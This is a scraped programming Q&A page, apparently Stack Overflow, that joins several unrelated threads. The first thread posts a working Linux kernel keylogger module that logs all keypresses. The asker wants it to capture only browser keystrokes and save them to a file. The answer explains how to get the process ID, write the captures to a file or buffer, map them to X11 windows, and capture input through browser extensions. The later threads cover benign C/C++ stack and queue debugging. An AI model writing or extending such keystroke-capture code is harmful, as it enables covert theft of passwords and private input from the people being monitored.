I have a basic key-logger kernel module that logs all the key-presses on to the syslog. I need to log only those key-presses made in a browser. Is there any way to find the process id of the application that caused the interrupt? Also, is there any way to save the keypresses to a file? could anybody help pls.. :)
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>
MODULE_LICENSE("GPL");
#ifdef notifier_block
struct notifier_block {
int (*notifier_call)(struct notifier_block *, unsigned long, void *);
struct notifier_block *next;
int priority;
};
#endif
char call(int v)
{
char val=NULL;
if (v == 16) {val='q';}
else if (v == 17) {val='w';}
else if (v == 18) {val='e';}
else if (v == 19) {val='r';}
else if (v == 20) {val='t';}
else if (v == 21) {val='y';}
else if (v == 22) {val='u';}
else if (v == 23) {val='i';}
else if (v == 24) {val='o';}
else if (v == 25) {val='p';}
else if (v == 30) {val='a';}
else if (v == 31) {val='s';}
else if (v == 32) {val='d';}
else if (v == 33) {val='f';}
else if (v == 34) {val='g';}
else if (v == 35) {val='h';}
else if (v == 36) {val='j';}
else if (v == 37) {val='k';}
else if (v == 38) {val='l';}
else if (v == 44) {val='z';}
else if (v == 45) {val='x';}
else if (v == 46) {val='c';}
else if (v == 47) {val='v';}
else if (v == 48) {val='b';}
else if (v == 49) {val='n';}
else if (v == 50) {val='m';}
else if (v == 28) {val='\n';}
else if (v == 57) {val='\t';}
else if (v == 51) {val=',';}
else if (v == 78) {val='+';}
else if (v == 55) {val='*';}
else if (v == 98) {val='/';}
else if (v == 13) {val='=';}
else if (v == 39) {val=';';}
else if ((v == 11)||(v == 82)) {val='0';}
else if ((v == 2)||(v == 79)) {val='1';}
else if ((v == 3)||(v == 80)) {val='2';}
else if ((v == 4)||(v == 81)) {val='3';}
else if ((v == 5)||(v == 75)) {val='4';}
else if ((v == 6)||(v == 76)) {val='5';}
else if ((v == 7)||(v == 77)) {val='6';}
else if ((v == 8)||(v == 71)) {val='7';}
else if ((v == 9)||(v == 72)) {val='8';}
else if ((v == 10)||(v == 73)) {val='9';}
else if ((v == 12)||(v == 74)) {val='-';}
else if ((v == 83)||(v== 52)) {val='.';}
return val;
}
int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
struct keyboard_notifier_param *param = _param;//local reference
struct vc_data *vc = param->vc;
char val;
int ret = NOTIFY_OK;
if (code == KBD_KEYCODE) {
val=call(param->value);
if(param->down)
{ printk(KERN_INFO "KEYLOGGER %c",val);
c=val;
}
// printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
}
return ret;
}
static struct notifier_block nb = {
.notifier_call = hello_notify
};
EXPORT_SYMBOL_NOVERS(notifier_block);
static int hello_init(void)
{
register_keyboard_notifier(&nb);
return 0;
}
static void hello_release(void)
{
unregister_keyboard_notifier(&nb);
}
module_init(hello_init);
module_exit(hello_release);
Is there any way to find the process id of the application that caused the interrupt?
current->pid
after including #include <linux/sched.h>
will tell you the process that was interrupted as per the following Stack Overflow question and Linux Kernel Development Chapter 6 on Interrupt Context.
This assumes you call current->pid from interrupt context in which your notifier should be in, unless you are doing heavy computation in your notifier which shouldn't be done.
If you are in process context or have a preemptive kernel as Andrew Medico comments, and are using the macro to get information on current, it will have been changed by the scheduler if any significant time has passed.
As per the comment by TheCodeArtist the following Stack Overflow answer demonstrates writing to files. It isn't a good idea to do file IO in the kernel, especially from interrupt context.
An example of writing the keypresses to a buffer in memory instead of file is available here.
The following Stack Overflow question demonstrates how to get the process name from the process id.
However all this gets you is the key presses for a process with a given name, it has no way of determining that a process with a name has any association with a browser window.
See the following Stack Overflow question which explains how to get an X11 window from a process id, and the following Stack Overflow question using XGrabKey and Xlib to grab keys in user space.
A more reliable way to ensure that keypress is from a specific browser, not only do this at the userspace level but at the browser plugin or extension level. An example for Chrome is here and example for Firefox is here.
Related
I am trying to write a program to convert infix expression to postfix expression. But I am getting the error
Runtime Error: Segmentation Fault (SIGSEGV)
I know that
SIGSEGV is an error caused by an invalid memory reference
Algorithm used
Scan the infix expression from left to right.
If the scanned character is an operand, output it.
Else,
1 If the precedence of the scanned operator is greater than the precedence of the operator in the stack(or the stack is empty or the stack contains a ‘(‘ ), push it.
2 Else, Pop all the operators from the stack which are greater than or equal to in precedence than that of the scanned operator. After doing that Push the scanned operator to the stack. (If you encounter parenthesis while popping then stop there and push the scanned operator in the stack.)
If the scanned character is an ‘(‘, push it to the stack.
If the scanned character is an ‘)’, pop the stack and and output it until a ‘(‘ is encountered, and discard both the parenthesis.
Repeat steps 2-6 until infix expression is scanned.
Print the output
Pop and output from the stack until it is not empty.
Code
class Solution
{
int prec(char a)
{
if (a == '^')
return 3;
else if (a == '*' || a == '/')
return 2;
else if (a == '+' || a == '-')
return 1;
else
return -1;
}
public:
string infixToPostfix(string str)
{
stack<char> stk;
string ans;
for (auto e : str)
{
if ((e >= 'a' && e <= 'z') || (e >= 'A' && e <= 'Z'))
ans += e;
else if (e == '(')
stk.push(e);
else if (stk.empty())
stk.push(e);
else if (prec(stk.top()) < prec(e))
{
if (e != ')')
stk.push(e);
else
{
while (!stk.empty() && stk.top() != '(')
{
ans = ans + stk.top();
stk.pop();
}
if (stk.empty())
continue;
else
stk.pop();
}
}
else if (prec(stk.top()) >= prec(e))
{
while (prec(stk.top()) >= prec(e) && !stk.empty())
{
if (prec(stk.top()) > prec(e))
{
ans = ans + stk.top();
stk.pop();
}
else
{
//same precedence so checking for associativity
if (stk.top() == '^') //associativity from R->L
stk.push(e);
else //associativity from L->R
{
ans = ans + stk.top();
stk.pop();
}
}
}
stk.push(e);
}
}
if (stk.empty())
return ans;
else
{
while (!stk.empty())
{
ans = ans + stk.top();
stk.pop();
}
return ans;
}
}
};
I have tried a lot to find out the fault in the code, but I was unable to figure it out. Please help me.
I am trying to understand this programming problem whereby I am supposed to guess the data structures. I am having a slight issue with my program.
PROBLEM: I have no clue as to why my program always gets killed with signal 11 (segmentation fault) but it works and compiles fine.
About the program: n would be number of integer sets ; it takes in an integer p (command) and integer data and pushes/pops into the following data structures. I've use a bool as flag to check the statuses. Am I right to believe the structures would be destroyed after the while loop as it goes out of scope?
int main(){
int n;
while (cin >> n && n != 0){
stack<int> mystack;
queue<int> myqueue;
priority_queue<int> maxq;
bool isstack = true;
bool isqueue = true;
bool ispq = true;
for (int i = 0; i < n; i++){
int p, data;
cin >> p >> data;
if (p == 1){
if (isqueue) myqueue.push(data);
if (isstack) mystack.push(data);
if (ispq) maxq.push(data);
} else if (p == 2){
if ((mystack.empty() || mystack.top() != data) && isstack) isstack = false;
else mystack.pop();
if ((myqueue.empty() || myqueue.front() != data) && isqueue) isqueue = false;
else myqueue.pop();
if ((maxq.empty() || maxq.top() != data) && ispq) ispq = false;
else maxq.pop();
}
}
if (isstack && !(isqueue || ispq)) cout << "stack" << endl;
else if (isqueue && !(isstack || ispq)) cout << "queue" << endl;
else if (isstack && (ispq || isqueue) || (isqueue && ispq)) cout << "not sure" << endl;
else if (ispq && !(isstack || isqueue)) cout << "priority queue" << endl;
else cout << "impossible" << endl;
}
return 0;
}
Yes, the data structures you’ve used are local scope to while, so they get destructed at the end of while loop.
Unless you provide for what input you’re seeing segmentation fault, it’s hard to say. Or run it in debug mode, your program should break at line where seg fault occurs.
I tried to run this code.
This code threw an exception when you pop after 'isstack' was changed to false.
The exception was 'Expression: deque empty before pop'.
After the variable changed false, always condition statements are return false.
So you tried to pop at empty stack.
That is a just logical bug.
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 6 years ago.
Improve this question
This is a parentheses balanced code. I submitted and got comment from my professor.
"Your stack is supposed to grow and shrink dynamically to accommodate any number of characters. DO NOT USE scanf for %s, this is risky behavior and Dr. Adams does not approve. Write a helper function to read in characters until newline."
Can you help me to fix this problem?
Your professor is correct and he gave you the solution: do not read a line into a buffer with scanf("%s",...): an arbitrary long line will cause a buffer overflow. You do not need to read a full line, just make check_balanced read one character at a time:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "stack.h"
#define TRUE 1
#define FALSE 0
int check_matching(void);
int main(int argc, char *argv[]) {
int n, i, c;
/* get the number of cases */
if (scanf("%d", &n) != 1) {
printf("invalid number\n");
exit(1);
}
/* consume the rest of the line */
while ((c = getchar()) != EOF && c != '\n')
continue;
for (i = 0; i < n; i++) {
if (check_matching()) {
printf("yes\n");
} else {
printf("no\n");
}
}
return 0;
}
int check_matching(void) {
int ret = TRUE, symbol, checkSymbol;
LinkedStack *pStack;
StackNode *pNode;
StackNode node;
pStack = createLinkedStack();
if (pStack == NULL) {
printf("createLinkedStack failed\n");
exit(1);
}
/* read a full line, one byte at a time */
while ((symbol = getchar()) != EOF && symbol != '\n') {
if (ret == FALSE)
continue;
switch (symbol) {
case '(':
case '[':
case '{':
node.data = symbol;
pushLS(pStack, node);
break;
case ')':
case ']':
case '}':
pNode = popLS(pStack);
if (pNode == NULL) {
ret = FALSE;
break;
} else {
checkSymbol = pNode->data;
if ((symbol == ')' && checkSymbol == '(')
|| (symbol == ']' && checkSymbol == '[')
|| (symbol == '}' && checkSymbol == '{')) {
// Right case. do nothing.
} else {
ret = FALSE;
}
free(pNode);
}
break;
}
}
if (isLinkedStackEmpty(pStack) == FALSE) {
ret = FALSE;
}
deleteLinkedStack(pStack);
return ret;
}
I am wondering if there is a way to implement a stack using as many queues as needed that pushes and pops data in O(1).
If there is not any O(1) algorithm , what is the best complexity then?
If recursively defined queues in queues are allowed then O(1) pushes/pops is possible using the following:
Code:
STACK:
QUEUE q
PUSH (S, x):
QUEUE temp
ENQUEUE(temp, x)
ENQUEUE(temp, S.q)
S.q = temp
POP (S):
ANY x := DEQUEUE(S.q) # Error here if queue is empty
QUEUE S.q := DEQUEUE(S.q)
return x
The result is a recursively formed stack.
If [1,2] represents a stack where dequeue([1,2]) would return 1. Then the data structure if 1 then 3 then 6 were pushed onto the stack would look like this:
[6,[3,[1,[]]]]
You can make a stack with linear-time PUSH and constant-time POP.
Given a queue with functions ENQUEUE and DEQUEUE:
STACK:
QUEUE q
PUSH (S, x):
r := new QUEUE
ENQUEUE(r, x)
while S.q not empty:
v := DEQUEUE(S.q)
ENQUEUE(r, v)
S.q := r
POP (S):
RETURN DEQUEUE(S.q)
EDIT: Alternative solution that doesn't require temporary queue r:
STACK:
QUEUE q
PUSH (S, x):
ENQUEUE(S.q, x)
n := SIZE(S.q) - 1
repeat n times:
v := DEQUEUE(S.q)
ENQUEUE(S.q, v)
POP (S):
RETURN DEQUEUE(S.q)
Here is a C++ implementation of a stack with O(1) push and pop functions.
The interface is similar to std::stack:
void push(const T& val);
void pop();
const T& top() const;
bool empty() const;
Here is the full code. I couldn't think of a way of avoiding the messy type-casts.
#include <iostream>
#include <stack>
#include <queue>
#include <stdexcept>
#define ASSERT(x) \
if (!(x)) { \
std::cout << "Assertion failed at line " << __LINE__ << "\n"; \
} \
template <typename T>
class Stack {
public:
Stack()
: m_head(NULL), m_tail(NULL) {}
void push(const T& val) {
std::queue<void*>* tail = new std::queue<void*>();
tail->push(reinterpret_cast<void*>(m_head));
tail->push(reinterpret_cast<void*>(m_tail));
m_head = new std::queue<T>();
m_head->push(val);
m_tail = tail;
}
void pop() {
if (m_head) {
delete m_head;
m_head = reinterpret_cast<std::queue<T>*>(m_tail->front());
m_tail->pop();
std::queue<void*>* tail = reinterpret_cast<std::queue<void*>*>(m_tail->front());
delete m_tail;
m_tail = tail;
}
}
const T& top() const {
if (!m_head) {
throw std::runtime_error("Error retrieving top element; stack empty");
}
return m_head->front();
}
bool empty() {
return !m_head;
}
private:
std::queue<T>* m_head;
std::queue<void*>* m_tail;
};
int main() {
Stack<int> s;
s.pop();
s.push(0);
ASSERT(s.top() == 0);
s.push(1);
ASSERT(s.top() == 1);
s.push(2);
ASSERT(s.top() == 2);
s.push(3);
ASSERT(s.top() == 3);
s.pop();
ASSERT(s.top() == 2)
s.push(4);
ASSERT(s.top() == 4);
s.push(5);
ASSERT(s.top() == 5);
s.push(6);
ASSERT(s.top() == 6);
s.pop();
ASSERT(s.top() == 5)
s.pop();
ASSERT(s.top() == 4)
s.push(7);
ASSERT(s.top() == 7);
s.pop();
ASSERT(s.top() == 4)
s.pop();
ASSERT(s.top() == 2)
s.pop();
ASSERT(s.top() == 1)
s.pop();
ASSERT(s.top() == 0)
s.pop();
ASSERT(s.empty())
s.pop();
int error = false;
try {
int x = s.top();
}
catch (std::exception&) {
error = true;
}
ASSERT(error == true);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
int main(int argc, const char * argv[])
{
int num1, num2, num3;
printf("Please enter three numbers from the following combinations.\n 1 4 3, 3 3 9,3 3 4, 7 6 3");
scanf("%d %d %d", &num1, &num2, &num3);
{
if ((num1 == 1) && (num2 == 4) && (num3 ==3))
printf("I love you too :)\n");
if ((num1 == 3) && (num2 == 3) && (num3 ==9))
printf("YOU ARE BEAUTIFUL !\n");
if ((num1 == 3) && (num2 == 3) && (num3 == 4))
printf("You are best!\n");
if ((num1 == 7) && (num2 == 6) && (num3 == 3))
printf("Anubhav misses you !\n");
// now i want it to go to else if the above is false but it also does that even if its true
else
printf("You entered %d %d %d\n", num1 ,num2, num3);
printf("This has not been included by this amateur programmer :(\n");
}
printf("I still remember about the calculator :D\n");
return 0;
If I'm reading your question right... Each of your 'if' statements (after the first) needs to be an else-if. And since you have multiple lines in the ending 'else' clause, you'll need to wrap those two in braces. Like this:
if ....
else if ((num1 == 3) && (num2 == 3) && (num3 == 4))
printf("You are best!\n");
else if ((num1 == 7) && (num2 == 6) && (num3 == 3))
printf("Anubhav misses you !\n");
else {
printf("You entered %d %d %d\n", num1 ,num2, num3);
printf("This has not been included by this amateur programmer :(\n");
}